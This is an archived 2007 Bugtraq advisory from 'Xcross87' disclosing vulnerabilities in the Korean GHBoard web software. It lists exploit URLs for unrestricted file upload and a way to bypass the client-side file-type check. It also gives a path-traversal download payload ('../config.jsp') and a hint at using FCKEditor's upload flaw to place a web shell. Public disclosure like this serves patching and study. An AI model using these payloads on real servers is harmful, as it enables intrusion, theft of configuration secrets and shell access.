bugtraq - Korean GHBoard Multiple Vulnerabilities by Xcross87

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20071023180158.14383.qmail@securityfocus.com>
Date: 23 Oct 2007 18:01:58 -0000
From: pete.houston.17187@...il.com
To: bugtraq@...urityfocus.com
Subject: Korean GHBoard Multiple Vulnerabilities by Xcross87

Software : Korean GHBoard
Site : http://www.ghlab.com/
Found by : Xcross87
1. File Upload Vulnerability
Xploit :
victim.com/ghboard/component/upload.jsp

2. FlashUpload component File Upload and File Download Vulnerability
Upload Xploit :
victim.com/ghboard/component/flashupload/upload.html
Not allow upload php,jsp,html
But attacker can download source and remove javascript code which check for file type and upload easily.
Uploaded file is located in :
victim.com/ghboard/component/flashupload/data/upload_filename.xxx

Download Xploit :
You can download any file from server :
victim.com/ghboard/component/flashupload/download.jsp?name=[file_name]
Sample :
victim.com/ghboard/component/flashupload/download.jsp?name=../config.jsp

3. FCK Inclusion :
All version of GHBoard includes FCKEditor package so attacker can use upload vulz of FCKEditor to up shell to server.

=== Xcross87 | HCETeam Xploiter | HCEGroup.Vn ===